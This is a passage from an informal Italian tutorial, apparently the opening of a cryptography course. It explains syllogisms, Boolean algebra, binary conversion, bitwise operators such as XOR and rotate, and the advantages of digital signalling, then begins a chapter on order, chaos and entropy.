| Esempi:                                                                       |\
| U.A. : "Tutti gli A sono B"                                                   |\
| U.N. : "Nessun A \'e8 B"                                                         |\
| P.A. : "Alcuni A sono B"                                                      |\
| P.N. : "Certi A non sono B"                                                   |\
|                                                                               |\
| In questo modo si possono avere 4^3 combinazioni, cio\'e8 64, ma attenzione:     |\
| non                                                                           |\
| tutti i sillogismi sono formalmente corretti, esempio:                        |\
|                                                                               |\
| Tutti gli A sono B                                                            |\
| Tutti gli B sono C                                                            |\
| Alcuni A non sono C                                                           |\
|                                                                               |\
| Che \'e8 incorretto! E' proprio la logica che ci fa riconoscere i sillogismi     |\
| corretti da quelli incorretti. Occhio che "corretto" non significa mica per   |\
| forza "vero"!                                                                 |\
|                                                                               |\
| Io amo ci\'f2 che \'e8 bello                                                        |\
| Tutti i presidenti USA sono belli                                             |\
| Io amo i presidenti USA                                                       |\
|                                                                               |\
| Formalmente \'e8 corretto, ma... beh, diciamo che parte da ipotesi sbagliate!    |\
|                                                                               |\
|                                                                               |\
| ========================                                                      |\
| *** ALGEBRA BOOLEANA ***                                                      |\
| ========================                                                      |\
| Boole, George (1815-64): matematico e logico irlandese. Fu il fondatore       |\
| dell'algebra della logica. (tratto dalla solita enciclopedia ********         |\
| kazzuta  :D  seguono altre cose che non ci interessano)                       |\
|                                                                               |\
| L'algebra booleana \'e8 quella parte della matematica che si occupa dei          |\
| cosiddetti                                                                    |\
| elementi "idempotenti", cio\'e8 quegli elementi X tali che X^n = X (con n > 0),  |\
| anche se a dire il vero \'e8 un po' improprio chiamarla "matematica". In         |\
| pratica                                                                       |\
| l'algebra di Boole permette di applicare le normali regole matematiche alla   |\
| logica e di rappresentare algebricamente tutta la sillogistica platonica.     |\
|                                                                               |\
| <lettore> mar\'f2\'f2\'f2... che paroloni!                                             |\
|                                                                               |\
| Normalmente nella vita noi lavoriamo in base 10, cio\'e8 significa che           |\
| rappresentiamo numeri e misure tramite sequenze composte solo da 10 simboli   |\
| (le                                                                           |\
| 10 cifre), questo deriva sicuramente dal fatto che nella preistoria l'uomo    |\
| usava                                                                         |\
| le dieci dita delle mani (quelle pi\'f9 coordinate, perch\'e8 provviste di pi\'f9      |\
| connessioni nervose) per aiutarsi coi calcoli. Come certamente saprete        |\
| (PERCHE'                                                                      |\
| DOVETE SAPERLO...), i calcolatori elettronici e i moderni sistemi di          |\
| comunicazione lavorano invece a base 2, cio\'e8 utilizzano sequenze composte     |\
| solo                                                                          |\
| da due simboli: 0 e 1. Anche se pu\'f2 sembrare strano, questo non influisce     |\
| praticamente in nessun modo nello svolgimento delle operazioni, ma ci         |\
| permette                                                                      |\
| di affiancare alle normali operazioni matematiche degli OPERATORI LOGICI che  |\
| possono essere utili in svariate situazioni.                                  |\
| Sia il sistema decimale che quello binario sono sistemi di numerazione        |\
| POSIZIONALI, cio\'e8 il valore di un simbolo cambia a seconda della sua          |\
| posizione                                                                     |\
| all'interno della sequenza di simboli. Infatti nei numeri:                    |\
|                                                                               |\
| 29004                                                                         |\
| 400                                                                           |\
| 3340                                                                          |\
|                                                                               |\
| la cifra 4 non ha lo stesso valore, poich\'e8 \'e8 situata (a partire da destra)    |\
| in                                                                            |\
| posizioni differenti. Se ci fate caso infatti, tale cifra fa da coefficiente  |\
| (moltiplicatore) alla potenza con base 10 (ecco perch\'e8 "BASE" 10) ed          |\
| esponente                                                                     |\
| pari alla posizione della cifra a partire da destra (cominciando con 0). In   |\
| pratica:                                                                      |\
|                                                                               |\
| 3605 = 3 * 10^3  +  6 * 10^2  +  0 * 10^1  +  5 * 10^0                        |\
|                                                                               |\
| Nel sistema binario \'e8 ESATTAMENTE la stessa cosa, ma la base stavolta \'e8 2:    |\
|                                                                               |\
| 10011 = 1 * 2^4  +  0 * 2^3  +  0 * 2^2  +  1 * 2^1  +  1 * 2^0 =             |\
| = 2^4 + 2^1 + 2^0 = 16 + 2 + 1 = 19                                           |\
|                                                                               |\
| Nel sistema decimale, se avete una sequenza di n simboli, potete codificare   |\
| 10^n                                                                          |\
| valori diversi, ma il valore massimo che potete rappresentare \'e8 solo 10^n -   |\
| 1,                                                                            |\
| poich\'e8 ricordate che si parte sempre da 0 compreso: con tre simboli potete    |\
| rappresentare 10^3, cio\'e8 1000 valori, ma arrivate al massimo a 999! Nel       |\
| sistema                                                                       |\
| binario \'e8 ESATTAMENTE la stessa cosa. Visto che sono due sistemi diversi per  |\
| rappresentare lo stesso tipo di dati (numerico), \'e8 giustificato pensare che   |\
| debba                                                                         |\
| esistere un sistema per convertire numeri da una base all'altra.              |\
|                                                                               |\
|                                                                               |\
| [Conversione in binario dei decimali]                                         |\
| Ecco l'algoritmo che permette di passare da decimale a binario (per il        |\
| viceversa l'abbiamo gi\'e0 visto, basta sommare le potenze di 2).                |\
| Innanzitutto scrivete il numero a sinistra di una riga verticale, ad esempio  |\
| 54609:                                                                        |\
|                                                                               |\
| 54609 |                                                                       |\
|       |                                                                       |\
|       |                                                                       |\
|       |                                                                       |\
|                                                                               |\
| dividetelo per 2 e mettete il risultato intero non arrotondato sotto di lui,  |\
| e il resto della divisione a lato:                                            |\
|                                                                               |\
| 54609 |                                                                       |\
| 27304 | 1                                                                     |\
|       |                                                                       |\
|       |                                                                       |\
|                                                                               |\
| continuate cos\'ec finch\'e8 il numero non rimane 0:                                |\
|                                                                               |\
| 54609 |                                                                       |\
| 27304 | 1                                                                     |\
| 13652 | 0                                                                     |\
|  6826 | 0                                                                     |\
|  3413 | 0                                                                     |\
|  1706 | 1                                                                     |\
|   853 | 0                                                                     |\
|   426 | 1                                                                     |\
|   213 | 0                                                                     |\
|   106 | 1                                                                     |\
|    53 | 0                                                                     |\
|    26 | 1                                                                     |\
|    13 | 0                                                                     |\
|     6 | 1                                                                     |\
|     3 | 0                                                                     |\
|     1 | 1                                                                     |\
|     0 | 1                                                                     |\
|                                                                               |\
| I resti ottenuti sono le cifre del vostro numero in binario, vanno lette dal  |\
| basso verso l'alto:                                                           |\
|                                                                               |\
| 54609 = 1101010101010001                                                      |\
|                                                                               |\
| Vediamo come fare un'addizione coi binari. Stesso procedimento che in         |\
| decimale, ma attenzione: potete rappresentare le cifre solo con 0 o 1,        |\
| quindi                                                                        |\
| coi decimali farete il riporto ogni volta che superate 9, mentre qui lo fate  |\
| ogni volta che superate 1!                                                    |\
|                                                                               |\
| 1111      --> riporti  <--            1                                       |\
|  100110 +                  100110 =   38 +                                    |\
|   11100 =                   11100 =   28 =                                    |\
| ---------                            ------                                   |\
| 1000010                   1000010 =   66                                      |\
|                                                                               |\
| Si capisce che \'e8 ESATTAMENTE la stessa cosa per tutte le altre operazioni.    |\
| Da                                                                            |\
| sapere inoltre che i bit pi\'f9 a destra (quelli che valgono di meno perch\'e8      |\
| moltiplicano potenze di 2 pi\'f9 basse) sono chiamati in gergo bit LOW-END,      |\
| mentre quelli pi\'f9 a sinistra sono detti HIGH-END.                             |\
|                                                                               |\
|                                                                               |\
| [Operatori Logici]                                                            |\
| Gli operatori logici si applicano ai simboli binari:                          |\
|                                                                               |\
| - NOT                                                                         |\
| L'operatore Not "inverte" una cifra, cio\'e8 fa diventare 0 l'1 e viceversa:     |\
| Not 1 = 0                                                                     |\
| Not 0 = 1                                                                     |\
| Se applicato ad una sequenza di cifre, le inverte tutte una per una:          |\
| Not 111001101 = 000110010 = 110010 (gli zeri a sinistra non contano)          |\
|                                                                               |\
| - AND                                                                         |\
| Questo si effettua tra due valori, il risultato sar\'e0 1 solo se entrambi i     |\
| valori sono 1. In pratica d\'e0 1 se il primo E (And) il secondo sono 1:         |\
| 0 And 0 = 0                                                                   |\
| 0 And 1 = 0                                                                   |\
| 1 And 0 = 0                                                                   |\
| 1 And 1 = 1                                                                   |\
| Se applicato tra due sequenze di valori, si esegue cifra a cifra              |\
| (eventualmente                                                                |\
| aggiungendo zeri a sinistra della sequenza pi\'f9 corta, in modo da averle di    |\
| lunghezza uguale):                                                            |\
| 11011001 And 11010 = 11011001 And 00011010                                    |\
| ------------                                                                  |\
| 11011001 And                                                                  |\
| 00011010 =                                                                    |\
| ------------                                                                  |\
| 00011000   =  11000                                                           |\
|                                                                               |\
| - OR                                                                          |\
| Come il primo si effettua tra due valori: il risultato \'e8 sempre 1 tranne nel  |\
| caso che i due valori di ingresso siano entrambi 0. In pratica d\'e0 1 se il     |\
| primo                                                                         |\
| O (Or) il secondo sono 1:                                                     |\
| 0 Or 0 = 0                                                                    |\
| 0 Or 1 = 1                                                                    |\
| 1 Or 0 = 1                                                                    |\
| 1 Or 1 = 1                                                                    |\
| Se applicato tra due sequenze di valori, si esegue cifra a cifra              |\
| (eventualmente                                                                |\
| aggiungendo zeri a sinistra della sequenza pi\'f9 corta, in modo da averle di    |\
| lunghezza uguale):                                                            |\
| 11011001 Or 11010 = 11011001 Or 00011010                                      |\
| ------------                                                                  |\
| 11011001 Or                                                                   |\
| 00011010 =                                                                    |\
| ------------                                                                  |\
| 11011011                                                                      |\
|                                                                               |\
| - NAND                                                                        |\
| Il Nand \'e8 l'opposto dell'And, cio\'e8 \'e8 uguale all'And ma NEGATO. In pratica \'e8   |\
| un And + Not:                                                                 |\
| 0 Nand 0 = 1                                                                  |\
| 0 Nand 1 = 1                                                                  |\
| 1 Nand 0 = 1                                                                  |\
| 1 Nand 1 = 0                                                                  |\
|                                                                               |\
| - NOR                                                                         |\
| Il Nor \'e8 l'opposto dell'Or, cio\'e8 \'e8 uguale all'Or ma NEGATO. In pratica \'e8 un   |\
| Or + Not:                                                                     |\
| 0 Nor 0 = 1                                                                   |\
| 0 Nor 1 = 0                                                                   |\
| 1 Nor 0 = 0                                                                   |\
| 1 Nor 1 = 0                                                                   |\
|                                                                               |\
| - XOR                                                                         |\
| Anche detto Or-esclusivo (eXclusive-OR). E' come l'Or ma d\'e0 0 anche se i      |\
| valori                                                                        |\
| sono entrambi 1:                                                              |\
| 0 Xor 0 = 0                                                                   |\
| 0 Xor 1 = 1                                                                   |\
| 1 Xor 0 = 1                                                                   |\
| 1 Xor 1 = 0                                                                   |\
| E' un po' la rappresentazione logica della "regola dei segni" in matematica:  |\
| segni uguali danno +, mentre segni opposti danno -. Se applicato tra due      |\
| sequenze di valori, si esegue cifra a cifra (eventualmente aggiungendo zeri   |\
| a                                                                             |\
| sinistra della sequenza pi\'f9 corta, in modo da averle di lunghezza uguale):    |\
| 11011001 Xor 11010 = 11011001 Xor 00011010                                    |\
| ------------                                                                  |\
| 11011001 Xor                                                                  |\
| 00011010 =                                                                    |\
| ------------                                                                  |\
| 11000011                                                                      |\
| Da notare che QUALCOSA Xor LASTESSACOSA fa sempre 0. Questo \'e8 anche il        |\
| metodo                                                                        |\
| pi\'f9 veloce per azzerare contatori e registri nell'Assembler.                  |\
|                                                                               |\
| Dal punto di vista crittografico il pi\'f9 importante \'e8 sicuramente lo Xor, per  |\
| due motivi: innanzitutto \'e8 INVERTIBILE, cio\'e8 si pu\'f2, conoscendo uno dei due   |\
| valori e il risultato Xorato, risalire all'altro valore, cosa che invece non  |\
| \'e8                                                                             |\
| fattibile con And e Or. Ma anche il Not \'e8 invertibile, e qui entra in gioco   |\
| il                                                                            |\
| secondo motivo: il Not utilizza UN SOLO VALORE, mentre lo Xor \'e8               |\
| un'operazione                                                                 |\
| tra DUE valori, quindi potremmo pensare di usarne uno come chiave per         |\
| crittare                                                                      |\
| il secondo (che \'e8 il plaintext).                                              |\
|                                                                               |\
| Questi altri due invece si usano SOLO su una sequenza di bit per volta,       |\
| quindi                                                                        |\
| non funziano come operazione tra due parametri e neanche su singoli bit,      |\
| bens\'ec                                                                         |\
| su "pacchetti":                                                               |\
| - ROTATE                                                                      |\
| In pratica fa "scorrere" di n posizioni a destra o a sinistra i bit di una    |\
| sequenza, con la particolarit\'e0 che quelli che "escono fuori" dalla stringa    |\
| rientrano dalla parte opposta. In gergo si abbrevia con ROR (ROtate Right)    |\
| oppure                                                                        |\
| ROL (ROtate Left), a seconda che lo spostamento avvenga verso destra o verso  |\
| sinistra, tipicamente con la forma:                                           |\
|                                                                               |\
| ROL/R  sequenza, spostamento                                                  |\
|                                                                               |\
| esempio:                                                                      |\
|                                                                               |\
| ROL  11001010, 3  =  01010110                                                 |\
| ROR  01110110, 6  =  11011001                                                 |\
|                                                                               |\
|                                                                               |\
| - SHIFT                                                                       |\
| Come il precedente, ma stavolta i bit che "escono fuori" sono persi, e al     |\
| loro                                                                          |\
| posto dalla parte opposta entrano degli zeri. Si abbrevia come SHL (SHift     |\
| Left)                                                                         |\
| oppure SHR (SHift Right), esempio:                                            |\
|                                                                               |\
| SHL  01101000, 2  =  10100000                                                 |\
| SHR  11010101, 4  =  00001101                                                 |\
|                                                                               |\
| Da notare una cosa: il Rotate lo usate SOLO ED ESCLUSIVAMENTE quando la       |\
| vostra                                                                        |\
| sequenza di bit deve avere dimensioni fisse, ad esempio in un registro del    |\
| processore (16 o 32 bit) oppure in un byte (8 bit) o qualsiasi caso in cui    |\
| la                                                                            |\
| lunghezza della sequenza non pu\'f2 cambiare. Lo Shift invece pu\'f2 essere usato   |\
| anche nel caso che la sequenza possa cambiare dimensioni, in questo caso se   |\
| \'e8                                                                             |\
| uno Shift Right non fate altro che eliminare le ultime n cifre, se invece \'e8   |\
| uno                                                                           |\
| Shift Left aggiungete a destra n zeri:                                        |\
|                                                                               |\
| SHL  01101000, 2  =  0110100000                                               |\
| SHR  11010101, 4  =  1101                                                     |\
|                                                                               |\
| Ora, se osservate bene vedrete che matematicamente tutto ci\'f2 ha un            |\
| significato:                                                                  |\
| con lo SHL in pratica abbiamo aggiunto dei bit low-end alla sequenza, cio\'e8    |\
| abbiamo in pratica moltiplicato il numero per una potenza di 2. Se Shiftiamo  |\
| a                                                                             |\
| sinistra un numero di n posizioni, matematicamente significa che lo           |\
| moltiplichiamo per 2^n. Discorso opposto per lo Shift Right: togliendo i bit  |\
| low-end lo abbiamo in pratica diviso (eliminando i decimali) per 2^n.         |\
| Ricordate                                                                     |\
| tutto ci\'f2 se si presentasse il bisogno di moltiplicare o dividere un numero   |\
| per                                                                           |\
| un numero che \'e8 un esponenziale in base 2, poich\'e8 effettuare uno Shift \'e8      |\
| estremamente pi\'f9 semplice e veloce che implementare un algoritmo di           |\
| moltiplicazione bit-per-bit.                                                  |\
|                                                                               |\
|                                                                               |\
| =============================                                                 |\
| *** UTILIZZO DEL DIGITALE ***                                                 |\
| =============================                                                 |\
| Visto che in binario si usano solo 0 e 1, possiamo pensare che ogni volta     |\
| che                                                                           |\
| facciamo una domanda che ammette solo due risposte possibili (Vero o Falso,   |\
| SI                                                                            |\
| o NO...) ad un elaboratore elettronico, questo potrebbe tranquillamente       |\
| risponderci con 1 (Vero, SI, Acceso...) oppure 0 (Falso, NO, Spento...).      |\
| Quindi                                                                        |\
| qualsiasi "VALORE BOOLEANO" (cio\'e8 un'informazione che pu\'f2 assumere due        |\
| valori                                                                        |\
| soltanto) pu\'f2 essere rappresentata da un computer, ed eventualmente           |\
| trasmessa                                                                     |\
| via cavo, via radio o tramite qualsiasi altro mezzo all'utente, per mezzo di  |\
| due stati: presenza anche solo parziale di segnale elettrico (1, cio\'e8 Vero),  |\
| oppure assenza totale di segnale (0, cio\'e8 Falso).                             |\
| Pensate ad una macchina che risponda alle domande dell'utente tramite una     |\
| lampadina: se la lampadina non si accende la risposta sar\'e0 NO, se invece si   |\
| accende (indipendentemente dalla luminosit\'e0, colore e altri parametri) la     |\
| risposta sar\'e0 SI. Il problema \'e8 che questo tipo di informazioni cio\'e8 SI e NO  |\
| sono raramente utili, spesso si ha bisogno di una risposta pi\'f9 completa,      |\
| tipo                                                                          |\
| quanto fa 4 * 4, che giorno \'e8 oggi, etc... Per rispondere a questo tipo di    |\
| domande bisognerebbe prendere in considerazione altri parametri, tipo         |\
| assegnare                                                                     |\
| ad ogni tonalit\'e0 di colore della lampadina un numero da 1 a 31 e alla sua     |\
| luminosit\'e0 12 valori che rappresentano i 12 mesi, in questo modo ad esempio   |\
| potrebbe fornirci la data.                                                    |\
| Ma notiamo che cos\'ec \'e8 facile sbagliarsi, perch\'e8 tra una tonalit\'e0 di colore e  |\
| un'altra ce ne sono sempre infinite altre, cio\'e8 tra il rosso e il giallo ci   |\
| sono                                                                          |\
| infinite tonalit\'e0 di arancione, tra un livello di luminosit\'e0 e un altro ci    |\
| sono                                                                          |\
| infiniti intermedi, tra un fischio grave e un fischio acuto ci sono infinite  |\
| frequenze sonore in mezzo, siamo cio\'e8 di fronte ad una FUNZIONE CONTINUA, un  |\
| po'                                                                           |\
| come quando dicevamo che in Q tra due numeri ce n'\'e8 sempre un altro. Questo   |\
| tipo                                                                          |\
| di trasferimento delle informazioni si dice ANALOGICO.                        |\
| Ci\'f2 per noi rappresenta un problema: come facciamo a codificare in binario    |\
| infiniti valori se possiamo utilizzare solo dei BIT, cio\'e8 cifre che assumono  |\
| valore 0 e 1? Semplice, introduciamo un nuovo parametro che \'e8 il TEMPO.       |\
| Abbiamo gi\'e0 visto che qualsiasi numero pu\'f2 essere scritto in forma binaria    |\
| tramite una sequenza di bit. Se volessimo far rispondere alla macchina di     |\
| prima                                                                         |\
| tramite la lampadina quanto fa 4 * 4 dovremmo innanzitutto "accordarci"       |\
| sulla                                                                         |\
| FREQUENZA dei segnali, cio\'e8 si dice che dovremmo SINCRONIZZARCI sulla stessa  |\
| frequenza, in modo che la macchina emetta segnali a intervalli regolari       |\
| negli                                                                         |\
| stessi istanti in cui noi siamo preparati a riceverli (nel computer questo    |\
| compito spetta al CLOCK, che \'e8 una parte della CPU che "scandisce" il tempo   |\
| come                                                                          |\
| un'orologio). A questo punto la lampadina si accender\'e0 o spegner\'e0 a           |\
| intervalli                                                                    |\
| regolari secondo il clock in modo da rappresentare la sequenza di bit del     |\
| risultato. Ma utilizzando dei PROTOCOLLI di comunicazione adeguati, potremmo  |\
| rappresentare in questo modo non solo numeri, ma ogni tipo di informazione:   |\
| un                                                                            |\
| protocollo infatti non fa altro in pratica che convertire qualsiasi tipo      |\
| d'informazione (testo, suoni, immagini) in forma numerica, in modo che poi    |\
| possa essere rappresentato in forma binaria. Questo tipo di trasferimento     |\
| delle                                                                         |\
| informazioni si dice DIGITALE.                                                |\
|                                                                               |\
|                                                                               |\
| [Vantaggi del digitale]                                                       |\
| Ma a questo punto potreste chiedervi: qual'\'e8 il vantaggio nell'usare il       |\
| digitale invece dell'analogico?                                               |\
|                                                                               |\
| <lettore> Gi\'e0, POTREMMO anche chiedercelo...                                  |\
|                                                                               |\
| In effetti dovrete ammettere che in termini di "ingombro" delle informazioni  |\
| si                                                                            |\
| perde molto: per rappresentare il numero 347 in decimale servono solo tre     |\
| simboli, mentre per rappresentarlo in binario ne servono 9 (101011011). Il    |\
| punto \'e8 proprio questo: il sistema digitale \'e8 estremamente sconveniente in    |\
| termini di velocit\'e0 ed ingombro, ed \'e8 per questo che la nostra memoria (che   |\
| lavora, potremmo dire, "in analogico") contiene miliardi di volte le          |\
| informazioni contenute in tutti gli hard-disk del mondo, ed il nostro         |\
| cervello                                                                      |\
| \'e8 ESTREMAMENTE pi\'f9 veloce del pi\'f9 potente processore mai costruito dall'uomo  |\
| (a                                                                            |\
| parte per i calcoli matematici, per i quali il sistema binario \'e8              |\
| specializzato,                                                                |\
| ma tenete conto che mentre noi facciamo mentalmente 2 + 2, in realt\'e0          |\
| svolgiamo                                                                     |\
| CONTEMPORANEAMENTE ad esso milioni di altre istruzioni). E allora perch\'e8      |\
| usare                                                                         |\
| il digitale?                                                                  |\
|                                                                               |\
| Prendiamo l'alfabeto Morse, che \'e8 il classico esempio di comunicazione        |\
| digitale.                                                                     |\
| Ora, immaginate di essere precipitati con un aereo in un'isola del Pacifico   |\
| a                                                                             |\
| causa della colluttazione avvenuta a bordo tra voi e un talebano              |\
| allegramente                                                                  |\
| imbottito di C4 (che siete riusciti a scaraventare in mare prima che          |\
| esplodesse,                                                                   |\
| sia talebano che C4...). Il pilota \'e8 riuscito in un'atterraggio di fortuna,   |\
| ma                                                                            |\
| l'aereo \'e8 semidisintegrato, l'isola \'e8 deserta e la zona \'e8 spazzata da una     |\
| violenta tempesta tropicale. Dovete chiamare i soccorsi con la radio di       |\
| bordo,                                                                        |\
| ma OVVIAMENTE le trasmissioni sono super-disturbate a causa del temporale.    |\
| Avete due scelte: o parlate alla radio (voce umana: sistema analogico),       |\
| oppure                                                                        |\
| trasmettete via Morse (impulsi: digitale). Al che dite: "miii... qui c'\'e8 il   |\
| manualetto della ******** su come usare il codice morse, ma sai che rottura!  |\
| Perch\'e8 mai dovrei usare il morse se c'ho sotto le mani una radio              |\
| super-satellitare e forse fatta con tecnologia aliena da milioni di           |\
| bigliettoni?!". Semplice. Chi ca**o di medium spiritico pensate che           |\
| capirebbe                                                                     |\
| questo messaggio?:                                                            |\
|                                                                               |\
| "Aiu *CRRRRR* mo preci *BZZZZZZZ* su un'i *WUOOOOINNNN* rta. Mand             |\
| *CRRRBUZZZZZ* corsi!"                                                         |\
|                                                                               |\
| Se invece comunicaste tramite Morse, \'e8 estremamente difficile che il vostro   |\
| messaggio non venga compreso, perch\'e8 per trasformare un impulso in una pausa  |\
| o                                                                             |\
| viceversa le interferenze dovrebbero essere troppo forti. Certo, ci           |\
| mettereste di                                                                 |\
| pi\'f9 a comporlo, ma alla fine arriverebbe comunque! La differenza tra una      |\
| linea                                                                         |\
| telefonica analogica e una digitale \'e8 che la seconda non \'e8 disturbata da      |\
| tempeste                                                                      |\
| magnetiche o campi di interferenza vari. In un computer la modifica di anche  |\
| solo                                                                          |\
| un bit di informazione pu\'f2 avere effetti devastanti, \'e8 per questo che si usa  |\
| il                                                                            |\
| sistema binario.                                                              |\
|                                                                               |\
|                                                                               |\
| [Unit\'e0 di misura binarie]                                                     |\
| Le metto tanto per completezza...  :P                                         |\
|                                                                               |\
| unit\'e0 base binaria: 1 BIT  ("b" minuscola, 1 o 0)                             |\
| 4 Bit: 1 NIBBLE (da 0 a 15, poco usato)                                       |\
| 8 Bit: 1 BYTE ("B" maiuscola, da 0 a 255, unit\'e0 di base nell'informatica      |\
| generale)                                                                     |\
| 2 Bytes : 1 WORD ("W", 16 bit, da 0 a 65535)                                  |\
| 4 Bytes : 1 DOUBLEWORD ("DW", 32 bit, da 0 a 4 miliardi e passa)              |\
| 1024 Bytes : 1 KILOBYTE ("KB")                                                |\
| 1024 Kilobytes : 1 MEGABYTE ("MB")                                            |\
| 1024 Megabytes : 1 GIGABYTE ("GB")                                            |\
| 1024 Gigabytes : 1 TERABYTE ("TB")                                            |\
|                                                                               |\
| Da notare che in decimale i suffissi "Kilo", "Mega", "Giga", etc... indicano  |\
| un                                                                            |\
| fattore di 1000 cio\'e8 di 10^3, mentre in binario indicano un fattore di 1024   |\
| (2^10). Quanto ai Terabyte, coll'immondo sviluppo dell'informatica non        |\
| tarderanno                                                                    |\
| certo molto ad apparire nella vita quotidiana dello smanettone...             |\
|                                                                               |\
|                                                                               |\
| Questo capitolo \'e8 finito, tanto non c'era molto da dire (e comunque dovreste  |\
| saperne molto pi\'f9 di quanto possa insegnarvi io  :PPP). Le cose importanti    |\
| che                                                                           |\
| dovete ricordarvi sono principalmente due: gli operatori logici               |\
| (specialmente lo                                                              |\
| Xor e il Rotate) e il fatto che ogni tipo di informazione pu\'f2 essere          |\
| codificata                                                                    |\
| in binario, quel discorso infatti lo riprenderemo con la Teoria               |\
| dell'Informazione                                                             |\
| al capitolo 5. Ricordatevi anche che dire "messaggio" non \'e8 equivalente a     |\
| dire                                                                          |\
| "informazione" e non solo per il fatto che un messaggio pu\'f2 non avere nessun  |\
| significato (in questo caso come vedremo si pu\'f2 spesso ricondurre ad una      |\
| informazione troppo difficile da estrapolare), ma perch\'e8 sono due cose        |\
| diverse:                                                                      |\
| il "messaggio" \'e8 il mezzo attraverso il quale l'informazione si trasmette.    |\
| E infine un'ultima cosa: ricordate che in logica il contrario di "nero" non   |\
| \'e8                                                                             |\
| "bianco", bens\'ec "non nero", alias "NOT nero". Questo concetto \'e8 un po' duro   |\
| da                                                                            |\
| accettare, ma \'e8 molto importante.                                             |\
| +-----------------------------------------------------------------+           |\
| |ORDINE, CAOS & ENTROPIA                                          |           |\
| | . . . . . .*----------------------------------------------------+           |\
| |Capitolo 4  / ...nella vita una sola certezza ho trovato: che finisce...     |\
| +-----------*                                                                 |\
|                                                                               |\
| Perch\'e8 la filosofia?                                                          |\
|                                                                               |\
| <lettore> ma perch\'e8 questo inizia cos\'ec ogni capitolo?                         |\
|                                                                               |\
| Perch\'e8 fa pi\'f9 phatos  :PPP                                                    |\
|                                                                               |\
| <lettore> vabb\'e8, ma che c'entra la filosofia? M'hai gi\'e0 fatto na'capa tanto   |\
| con                                                                           |\
|           Platone & related, sarebbe mica meglio cominciare a parl\'e0 di        |\
|           crittografia x caso?...                                             |\
|                                                                               |\
| Certo, "sarebbe"! Ma poi quando andremo a dire ad esempio che la lingua       |\
| inglese                                                                       |\
| ha 1.3 bits di entropia per carattere quanti di voi capiranno ESATTAMENTE     |\
| che                                                                           |\
| significa?                                                                    |\
| I capitoli trattati finora servivano principalmente a tre scopi. Primo: dare  |\
| a                                                                             |\
| tutti, anche agli ignorantoni :P , le basi e la terminologia adeguate per     |\
| proseguire. Secondo: di tutti gli strumenti e le conoscenze gi\'e0 possedute,    |\
| ripassare quelle che ci serviranno di pi\'f9 in seguito in modo da "caricarle    |\
| nella                                                                         |\
| cache". Terzo: fornire strumenti abbastanza "specializzati" del campo (non    |\
| so                                                                            |\
| quanti tra di voi sapevano gi\'e0 da prima cos'\'e8 il Test di Fermat...). Questo   |\
| capitolo invece serve principalmente a "focalizzare" l'attenzione su cose     |\
| che                                                                           |\
| probabilmente gi\'e0 sapevate, ma sulle quali probabilmente non vi siete mai     |\
| fermati a riflettere. E non perch\'e8 non ve ne freghi una mazza, ma perch\'e8      |\
| sono                                                                          |\
| concetti che si crede comunemente gi\'e0 scontati. Ma visto che noi siamo pi\'f9    |\
| bastardi dentro di San Tommaso, non accontentiamoci di quel che ci dice il    |\
| Grande Fratello e prepariamoci a scendere fin gi\'f9 nelle profondit\'e0 infernali  |\
| del Caos!...                                                                  |\
|                                                                               |\
|                                                                               |\
| ================================                                              |\
| *** DEFINIZIONI COMUNI E NON ***                                              |\
| ================================                                              |\
| Se voi prendeste un campione di persone e gli chiedeste di darvi una          |\
| definizione cos\'ec su due piedi di ordine, caos ed entropia, ecco pi\'f9 o         |\
| meno quel che vi sentireste dire:                                             |\
|                                                                               |\
| CAOS: "\'e8 l'assenza di ordine, un bordello in cui non ci capisci niente"       |\
|                                                                               |\
| ORDINE: "uhm, beh... E' quando c'\'e8 un qualcosa che segue una certa            |\
|         relazione logica costante e che quindi puoi capire" (assumiamo che    |\
|         i campioni intervistati siano di un certo livello culturale... :PPP)  |\
|                                                                               |\
| ENTROPIA: pareri contrastanti, le risposte pi\'f9 frequenti sono: "Boh?",        |\
| oppure:                                                                       |\
|           "E' la Madama Morte, uomo! Morte e Dannazione! Morirete tuttiii!    |\
|           Uahahahahahah!!!", o anche: "Te entropia lo dici a tu' sorella!"    |\
|           e, nel migliore dei casi: "Semplice, l'entropia \'e8 il caos! Ma dove  |\
|           vivi?!"                                                             |\
|                                                                               |\
| Uhmmm... mi sa che domattina vado a comprarmi quel famoso bonsai di           |\
| plastica.                                                                     |\
| Ah, no aspetta, ho un'idea! Eheheh, visto che c'ho l'enciclopedia kazzuta     |\
| della ******** chiediamo a lei, no? Vediamo...                                |\
|                                                                               |\
| CAOS: "termine con il quale si indica generalmente la natura globale dei      |\
|       sistemi complessi. Lo studio del caos ha origini relativamente recenti  |\
|       e costituisce un'attivit\'e0 interdisciplinare [...]. Nelle situazioni     |\
|       apparentemente pi\'f9 complesse e irregolari sono state rilevate           |\
|       sorprendenti regolarit\'e0 grazie all'impiego di teorie non tradizionali   |\
|       (p.e. catastrofi, frattali ecc.).                                       |\
|       Difficilmente definibile, lo studio del caos pu\'f2 comunque essere        |\
|       considerato studio dei processi anzich\'e8 degli stati, il tentativo di    |\
|       superare il determinismo (ancorch\'e8 statistico) della fisica             |\
| contemporanea,                                                                |\
|       determinismo ancora molto rigido e soprattutto a livello macroscopico.  |\
|       [...]"                                                                  |\
|                                                                               |\
| Azz... "difficilmente definibile"? Se la ******** mi dice "difficilmente      |\
| definibile" dev'essere qualcosa di davvero oscuro! Comunque mi sa proprio di  |\
| figata (meno l'ultima parte che non c'ho capito una mazza)! Mah, ora          |\
| vediamo "Ordine"...                                                           |\
|                                                                               |\
| ORDINE: solo definizioni relative alla matematica che non ci interessano.     |\
|                                                                               |\
| Pork... Vabb\'e8, allora passiamo ad "Entropia"...                               |\
|                                                                               |\
| ENTROPIA: Arggghhh! Due colonne di roba!!!                                    |\
|           "Grandezza termodinamica che esprime la tendenza dei sistemi        |\
| chiusi e                                                                      |\
|           termicamente isolati a evolvere verso uno stato di equilibrio       |\
|           termodinamico. [...] Si definisce entropia di uno stato             |\
| termodinamico                                                                 |\
|           A di un sistema l'integrale:                                        |\
|                                                                               |\
|                                    S(A) = \'a7(\'aa,0)\'f0Q/T                          |\
|                                                                               |\
|           dove 0 \'e8 uno stato di riferimento al quale viene attribuita         |\
|           convenzionalmente entropia nulla (per i solidi cristallini lo       |\
| stato 0                                                                       |\
|           si identifica con lo zero assoluto, come afferma il terzo           |\
| principio                                                                     |\
|           della termodinamica). [...]                                         |\
|           Essendo l'universo termodinamico un sistema isolato, ovvero per il  |\
|           quale sono impossibili scambi di calore, per esso in una            |\
|           trasformazione aperta, sar\'e0 sempre:                                 |\
|                                                                               |\
|                        ^S(univ.) = 0 (trasformazione reversibile)             |\
|                        ^S(univ.) > 0 (trasformazione irreversibile)           |\
|                                                                               |\
